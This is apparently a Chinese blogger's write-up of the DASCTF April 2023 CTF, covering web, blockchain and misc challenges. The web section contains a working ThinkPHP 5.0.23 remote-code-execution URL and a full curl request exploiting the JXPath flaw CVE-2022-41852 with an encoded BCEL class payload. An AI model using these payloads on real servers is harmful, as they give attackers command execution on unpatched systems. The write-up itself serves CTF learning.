DASCTF Apr.2023 X SU战队2023开局之战

Web

pdf_converte

这题一开始有非预期解，只要进入下发附件目录，查看changelogs即可发现该版本为“最新的”Thinkphp5.0.23

┌──(root㉿hz2016-rogx)-[~]
└─# searchsploit thinkphp 5.0.23
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution                                        | php/webapps/45978.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

搜索得到相应EXP，修改一下相应指令即可获取flag

http://<URL>/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=php%20-r%20%27system(%22cat%20/flag%22);%27

pdf_converter_revenge

然而，很快就修复了这个非预期解，并以一道新题目上新

“`dompdf/src/FontMetrics.php“`文件名可控
通过“`exploit_norml_md5(data:text/plain;base64,exp).ttf“`打exp
后面会校验font.ttf文件头。需要将一个ttf文件拼接一下

你听说过 js 的 webshell 吗

首先，我先喷一句（已经没有记忆/没有痕迹了，可能喷错，喷错评论叫我改推文），你公告自己写着不用使用扫描器，然而WP里面直接给我来了句使用dirsearch扫描
然后，搁着不引入字典就不算扫描了是吧。

TODO:字典
在泄露的app.js中可以看到route/api的就几个js文件
尝试获取源代码

https://127.0.0.1/middlewares/api.js
https://127.0.0.1/middlewares/api
https://127.0.0.1/middlewares/api/index.js

发现了API注册逻辑
读取API源码

https://127.0.0.1/api/v2/coding/versionList.js
#同时也获取到后端代理源码
http://127.0.0.1/request/coding.js

获取到openapi的token，参考文档文档 https://coding.net/help/openapi
将仓库clone下来，通过v3的APIhttps://127.0.0.1/v3/UpdateAllProduct注入webshell
后面就是垃圾东西了，没有必要看，吐槽一下现在的CTF，题目是难了，但是不是那种有意思的难，存粹一步一步套娃，复现都恶心了。

ezjxpath

jxpath有cve-2022-41852
不会也没看到wp，先把wp放着了

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 6096' -H $'cmd: cat /flag' \
    --data-binary $'query=runMain%28com.sun.org.apache.bcel.internal.util.JavaWrapper.new%28%29%2C%22%24%24BCEL%24%24%24l%248b%24I%24A%24A%24A%24A%24A%24A%24A%248dV%24c9w%24d3F%24Y%24ffMb%245b%24b2%24y%24g%24e2%24E%2482%24d8w%249c%2440%24ecR%24ba%2440%24C%2494%2490%24Q%24a08%2481b%24m%2485P%2440Q%2486D%24c4%2496%248c%24q%24t%24a1%24fbBw%24ba%24aft%24a1%24x%24a5%24eb%24a1%24X%24c3%2483G%24l%24e7%24k%24fb%245e%24P%24fd%24T%24faz%24e8%24b5%2487%243e%24dao%24q%249b%24d8%24c4%24b4%24f5a4%24f3%24ad%24bf%24f9%24b6%24f1O%24d7%24_%24ff%24I%24e0N%247c%24af%24m%248a%24fd%24K%24O%2460%2440%24y%24P%24c88%24a8%24e0%24Q%24Ge%24i%2496%24f0%24a0%24C%24JG%24q%24iUp%24M%24ba%248c%24n%24Z%2486%248ca%24Z%245cF%24b7%24e0%24j%24971%24o%24a3G%24c2%24a8%24900e%24f4%24ca8%24a1%2460%24MY%24FM%24c8%24c9%24b0%24c4%24d7%2496%2491%2497qRl%24j%24Z%24ae%24MOFA%24c6%24b8p%243d%24ncR%24c2%24v%24F%24P%24e1a%24b1%243c%24a2%24e0Q%243c%24a6%24609%24k%2497%24f1%2484%24f8%243e%24v%2496%24a7d%243c%24z%24e3%24b4%2484g%24Y%24o%24hM%24cb%24f463%24d4%24tZ%24P0%2484%24ba%24eda%24ce%24d0%24906%24z%24de_%24c8%24Nqg%249f%243e%2494%24rJ%243cm%24hz%24f6%2480%24ee%2498%24e2%245c%24o%2486%24bcQ%24d3ehL%24Pq%24p%249b%24ca%24e4%24j%24d3%24g%24d96nf%243b%24Z%24c2Gs%24bai1%24ccN%24M%24a6O%24e8%24e3z%24w%24ab%245b%24p%24a9%248c%24tD%243a%247dO%24ba32%24ce%24d0T%2483%24cd%24c0%24Mau%248a%24d1%249d%24d5%245dW%24d0s%24Ms%24x%24e8%24O%243f%249e%24e5%2486%2497%24ea%24e3%24de%24a8%243d%24y%24El%24BuJ%2460%24f7%24d0%24J%24e2%24T%24a3%24%24%24b7%2496%247c%243a%24dc%24cd%24d3U%24j%247e%2492%24n%243a%24c2%24bd%24B%24c7%24f4%24b8%24T%24ecwp%247dX%24ec%24p%24T%24rb%24bd%2491%24h%24ae%24b6v%24D%249fl%24d8%24b9%249cn%24N%24d3%24e5c%24c6%24a8%24ee%24b8%24dc%24eb%24d7s%24U%2491%24Z%24ZO7%24c6%24fa%24f4%24bc%24l%24n%24J%24h%24u%24ef%24S%249e%24a5%24acSZ%24Z%2494m%2493%24G%24cf%247b%24a6m%24b9%24S%249ec%2498%24Z%24A%24df%24a3%243b%24a4MN%24c9%249e%2492%24b1%24L%248e%24c1%247bM%24R%24e0%2486%24a9%2498%24s%24F%24M%24V%24v%24dc%24%24%24e1y%24V%24_%24e0E%24V%24_%24e1%24M%24c3F%24db%24ZI%24ba%24be%24dcqaf%24c2v%24c6%2492%24T%247c%24ui%24d8%2496%24c7%24t%24bd%24q%24dd%24b6%24c0%245d%24_%24b97%24f8v%24H%24e4%24jv%2496%24ae%24x%24e1e%24V%24af%24e0U%2486f%24KAI%24a2%24cb%24a3%247b%24O%24V%243cNp%24gnJ%2482%248a%24d7%24f0%243a%24B%24bf9%24c4tI%24Vo%24e0M%2486%24z%24ff%24XO%2486%243b%24e3%24d9%249aNc%243e%24W7Oa%24a2%24m%24uS%24c8%24Y%24W%24I%24c7%2493I7%24d0%249d%24b2%24R%24I%24abxK%24a0%245bQ%24z4%24eay%24f9%24e4%24OZ%24aa%243dV%24dd%24oH%24ad%248a%24b7%24f1%24O%2483d%24bbI%248b%24a0KxW%24c5%247b8%24ab%24e2%247d%247c%24m%24w%24c3%24b4%2486%24ed%24J%24V%24l%24e2%24p%24w%248f%24ed%245bwQ%249d%24ef%24df%24d7%24db%24be%245e%24c59%24nP%243f%24b0%24b3%249fJ%24zE%24d5%24x%24a5%2486L%24x%24e5R%24ce%24eb%24da%24N%24V%24l%24e3%24T%24a2%2489%24a0xY%24ea%248aF%24dfq%24c13%24a9k%24M%24dd%24b2D%24o%243eU%24f1%24Z%243eW%24f1%24F%24ceK%24f8R%24c5%24F%247c%24r%24d2%24fd5Y8%24dc%24a5%24e2%24h%247c%24ab%24e2%243b%24e1%24r%247c%243c%245b%24Q%2486%24c3F%24d6%24W%24f1i%24b8%24a9%24fb%24Y%24e6%24dc%24aaC%24a8%24df%24a6X7j%24b1%24w%24Q%24fbF%24jj%24E%24aad%24a3%24e08%24dc%24f2%24ca%24e7%24e6Dk%24faf%24v%24ea%2484Y%2494%249cRE%24f9%24f5%2491%24b6%2483%24%24%24d2%24aa%24c4%24xXB%24a7%24s%2483%24ba0K%24h%249fB%24vL%24d4%24Y%24h5%24s%2482%24e8%24dc%24f2%24dd%24b6%24d4%24d0%24Z%249c%24a6%24d3%24fao%24f3%24pbZ%24e3%24f6%24Y%24FuCb%24fa%24U%24Z%249cNj%24ad5k%24g%24JS%24P%24e5Dw%24f8p%24Z%24db%24M%24g%24R%245d%2486%24c1%245d%24d7%24MFg%24e2%2490%2498%2482%2495%24Vx%24ca%24f5x%24%24%24u%24fe%243d%248e%249d%24e7%248ew%248aa%24e5%247f%24c4%24e1%24c6H%248ayv%24da%249e%24e0N%24b7%24%24j%24a2%243a%245b%2495s%24cb%24f2h%24%24S%2480%24e7U%24g%24ee%24a6%24Z%2496%24R%245da%24Z%24bc%24b3%24f5%2490om%247f%243e_%24b6%24s%248b%24q%24Hyi%249a%249e%24d7%24cer%243d%24fb%24a4%24bd%24F%24cb3s%24e5%24b6%24z%24lfU%24a9%2495%24c8%24a4%24Y%24e2%2493%249c%24ba%24rQ%24f3%2495%24a8%24mQ%2440D%24ec%24aa%245d%2495%2488%24M%24b7%2491%24ab%249dV%24be%24e0%2491%24s%24d7%24v%2486%24zew%24a6%249d%24aa%2460%2490z%245b%24a2%24s%24a3%24f6%24h%24a5%24W%245c%24de%24c3%24b3f%24%24x%24QV%24dd%243a%24X%2495%24ad%24y%24aeeQ%243f%2460%24J%2492%24f4%24u%248b_%24j%2498%2498%24dc%24b4%24ae%24a5S%248a%24be%248c%24be%24e1%24b6%248b%2460%243f%24f8%24ec%243bh%248d%24f8D%24V%24eb%24fc%24d5%24X%24a0%24ff%24Uw%24d17%248a%24bbq%24P%24ea%2485r%24dd%24V%243a%24cd%24A%24d8%24c4%24r%24d4%24VQ%24l%24P%24V%24RN%24af%248eG%24ea%24afB%24wB%24ee%245b%24c3h%24X%24zB%24e9%24_%24J%24c4%24C%24B%24b5%24y%24b0%243a%243e%24a3%24b4%24ed%24I%24adi%24_%24Jw%2484%24b5%24d0%248d%247d%24a4%24a4y%24hi%24c6%24h%24C%24e1%2499%24jR%2489%24da%24u%24a8%24f1%24QQ%24P%24d6%24c7%249b2%2482%24rk2%24c1h%24d6%24a4%2460%24d5%24c2eKQM%24d6%24o%24q%24g%24r%24d1Y%24q%24aa%245cCS%2487%24S%24b9Jk%24y%243e%24fb%24SZ%248a%2498%24T%24d7%248a%2498%247b%24Wr%247c%24de%24F2%243c%24bfC%24z1%24W%24c4%24X%24fa%248c%24b8%24W%24T%24caZ%24y%24U_%2494%24b9%2480%24Gq%245c%24ec%24l%2497%24d0%24g%24d6%2494%248cF%24be%2496%24c6%2497UB%24d2%24a2%2481%24d7%24xX%247e%24f0%24SVh%24U%2484%2495E%24ac%24d2%24d4%248bH%24c4%245b%248bh%24xb%24b5%24c03%24Q%24e8%24ae%24v%245dR%248b%2496%2490%2497%24e8%24ed%24d3%24e8%24o%245d%24f5%247e%24baN%2460%24%24%24adqJU%24TZ%24d0L%24d9%249e%2485v%24cc%24c6z%243a%24f5%2460%24OvC%24c3%24m%24c9%249c%24c4%243c%249c%24c1%247cz%24i%24X%24d0%245b%24b2%24Q%24e7%24b1%24I%2497I%24fa%24g%2496%24e2W%24y%24c3o%24f4%248f%24ec%24P%24ac%24c0%249fX%2485%24ebH%24b0%24Q%24da%2498%2482%24d5%24ac%24Xk%24d8%24R%24b4%24b3q%24aa%24oQ%24S%24a7%2483%24b4%2493%24fd%24N%24a2%2440%24d8%24Y%243a%24d0Ie%24d2%24c2%248ea%24p6Q%24R%24za%24H%24b0%24Z%24f7%24S%24be%24k%24b6%24O%245b%2488%24W%24c2n%2496%2440%24X%24d1%24c2%24Yd%24f3%24b1%2495v%24R%249cd%24Rt%24TW%24o%245c%24bf%24T%24d6M%2490%24J%24d5%24cf%24d8F%24dc%24ua%24bb%248a%245el%2487B%24I%24_b%24Hy%248b%24R%24ces%24d8I4%24V%24f7%2491%24ef%24f5%24I%24fd%248d_%24a0J%24d8%24r%24n%24z%24a1OB%247fy%24N6%24c1%247e7%24J%24A%245d%24b4%24f9%24L%248bi%248da%24Pi%2487%24I%24f3%24fd%24d8%24x%24ca%249b%2491%24v%24ba%24T2%247e%24P%24ec%24fb%24H%245e%24c7%248a%249fH%24L%24A%24A%22%2C%27%27%29' \
    $'http://127.0.0.1:8080/hack'

Blockchain

到国链之光一游

这题其实很新手，不过我对区块链一无所知，所以折腾了很久
首先题目给了一个部署在测试网的合同https://evmtestnet.confluxscan.io/address/0xEFEc01486FB7C8919be70f2c5333FD77326F65E2
我原本使用的是MetaMask但是好像没有Conflux eSpace (Testnet)测试网络的预设，要自己设置RPC等，所以后面改用了Fluent
查看合同，具体代码有所删减，只保留一部分

contract SignIn {
    address public owner;
    bytes32 private key;
    modifier onlyOwner() {
        require(tx.origin == owner);
        _;
    }
    constructor() {
        owner = tx.origin;
        key = keccak256(abi.encodePacked(block.timestamp));
    }
    function getFlag(bytes32 _key) external onlyOwner {//我需要是这个合同的owner
        require(_key == key);//并且需要计算得出这个合同的key
        greeter.getFlag();
    }
}
contract Greeter {
    event CaptureTheFlag(address indexed player);//触发这个
    mapping(address => bool) SignIn_Deployed;
    modifier onlySignIn() {//权限校验
        require(SignIn_Deployed[msg.sender]);
        _;
    }
    function startChallenge() external returns (address) {
        address _SignInAddress = address(new SignIn());//这里的new即创建了一个新的合约
        SignIn_Deployed[_SignInAddress] = true;//并且把新合约的地址设置为可以访问getFlag
        emit StartChallenge(_SignInAddress);
        return _SignInAddress;
    }
    function getFlag() external onlySignIn {//这里的onlySignIn即权限校验
        SignIn_Deployed[msg.sender] = false;
        emit CaptureTheFlag(tx.origin);//调用这个函数触发
    }
}

原本没有理解区块链的意义，导致绕了好久，还得是qsdz
TODO:qsdztql
首先我们要明白我们的目标，即触发
“`CaptureTheFlag“`事件，只能通过“`SignIn“`合约来完成，因为设置了函数调用权限。首先调用“`Greeter“`合约的“`startChallenge()“`函数创建出自己的“`SignIn“`合约，通过区块链浏览器查看“`SignIn“`合约的地址，计算变量“`key“`的值，最后调用“`SignIn“`合约的“`getFlag“`函数触发事件
上面的操作均可以使用区块链浏览器进行操作，计算key的方法不知道
我借助[Remix https://remix.ethereum.org](https://remix.ethereum.org)并新建一个合同

pragma solidity 0.8.19;
contract KeyMaker {
    function getKey(int timestamp) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(timestamp));
    }
}

编译并且部署合同

将为自己生成的合同的timestamp转换成int填进去，即可得到最后需要的key，要注意一下时区不要搞错了

最后写getFlag合同即可。
但是其实这个方法也有点问题，因为区块链是所有信息都是公开的，我们根本不需要自己计算这个hash值（只是confluxscan这个区块链浏览器不显示罢了）
有大哥写了一个相关的操作库Poseidon，可以操作区块链，解决一些密码学/工作量证明问题。

# 脚本来自官方WP
from Poseidon.Blockchain import * # https://github.com/B1ue1nWh1te/Poseidon
# 连接至链
chain = Chain("https://evmtestnet.confluxrpc.com")
# 导入账户
account = Account(chain, "<PrivateKey>")
# 切换 solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.8.19")
# 编译 Greeter 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "Greeter")
# 合约实例化
contract = Contract(account, "<GreeterAddress>", abi)
# 调用 startChallenge 函数
contract.CallFunction("startChallenge")
# 以下部分的<SignInAddress>需要先通过区块链浏览器获取到合约地址并填入，这里只是为了方便展示而放在一起
# 编译 SignIn 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "SignIn")
# 合约实例化
contract = Contract(account, "<SignInAddress>", abi)
# 读取存储插槽 slot 6 的值（key的值）
key = chain.GetStorage("<SignInAddress>", 6)
#print(Chain.DumpStorage("<SignInAddress>", Count)
# 调用 getFlag 函数，触发 CaptureTheFlag 事件
contract.CallFunction("getFlag", key)

同时这题的ProofOfWork又有新东西没见过，这个脚本都写了好一段时间，结果这个库也有（纯逆天……不好评价）

from Poseidon.PoW import PoWUtils
Connection = PoWUtils.ProofOfWork_SHA256_EndWithZero("<ServerIP>", 20000, "sha256(", " + ???)", 3, 10, "??? = ")
Connection.interactive()

顺便附上一段自己写了半天的代码

import os
import pwn
import time
import sqlite3
import string
import hashlib
import itertools
class Violent:
    def getid(self, target1,target2):
        d = string.ascii_letters + string.digits
        for i in itertools.product(d,repeat=3):
            target = target1+"".join(i)
            hash_hex = hashlib.sha256(target.encode()).digest()
            hash_bin_str = ''.join(format(byte, '08b') for byte in hash_hex)
            if hash_bin_str.endswith(target2):
                return target
vio = Violent()
print(vio.getid("<HASHCODE>","<ENDWITH>"))

Misc

Ge9ian’s Girl

清除格式发现隐藏的大小不一的字符，即替换为类似的字母（Unicode同形文字）。
为Twitter Secret Messages
解密网站
1. https://holloway.nz/steg/
解密即得压缩包密钥

result = b''
for i in range(1, 521):
    filename = f'two/{i}.txt'
    with open(filename, 'rb') as f:
        data = f.read()
    result += data
with open('result.jpg', 'wb') as f:
    f.write(bytes.fromhex('FFD8FF') + result)

将文件拼接并补上jpg头
“`FF D8 FF“`，发现备注得到密码“`Ge9ian“`和“我们的密码”oursecret，解密即可
我也是看WP才知道是Oursecret加密，借用[d3f4u1t’s blog](https://superfengi.github.io/2023/04/22/das-su/)的图片
[![](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)
Oursecret加密存在“`ž—º*“`可以进行判断

secret of bkfish

foremost可以分理出两张照片，第二张照片有lsb，提取字节与255（双精度取反）异或

msg = 'bbbeacbcabb98488bacebc9092baa08bcfa0bbbe8c9cc899a087a0ac8aa0a09e8f8d96ce82'
msg = bytes.fromhex(msg)
s = []
for i in msg:
    s.append(i ^ 255)
bytes(s)

然而官方wp有一个SSuite Picsel，可以用两张图片隐写在一起

7里香

在线编解码：https://yuanfux.github.io/zero-width-web/
得到密文

This is not only a hint, but also a keyfile.

压缩包密码不懂，2分10秒找不出东西
结合倒放，反过来看veracrypt，猜测使用veracrypt加密
直接爆破出两个密码，压缩包为套娃，编写脚本交替解压
脚本为官方WP

#!/bin/bash
#初始密码
password="J4y"
#压缩文件名
file="210.zip"
#循环210次，每次解密和解压缩
for i in {210..1}
do
  #解密文件
  unzip -qq -P "$password" "$file"
  #更新文件名和密码
  file="Si.zip"
  if(($i%2=1))
  then
    password="Jay"
  else
    password="J4y"
  fi
done
#解压最后一层压缩包
unzip -qq -P "$password" "$file"
#输出解压后的文件名
echo "解压后的文件名：$(basename "$file".Zip)"

密码为歌曲名拼音，在线转http://www.aies.cn/pinyin.htm
用VeraCrypt（PassWare）对mp3进行解密，最终尝试得到密码为geqian
40.bmp中发现头FFFF4944FFFF3304，为MP3格式，每两个字节插⼊MP3⽂件的两个字节，提取出来

with open('40.bmp', 'rb') as f:
    data = f.read()
with open('123.mp3', 'wb') as f:
    f.write(b''.join([data[i:i+2] for i in range(0, len(data), 4)]))

二进制发现base64，解码即可
PS:后来看到别的师傅的WP好像有一个这样的软件好用

Web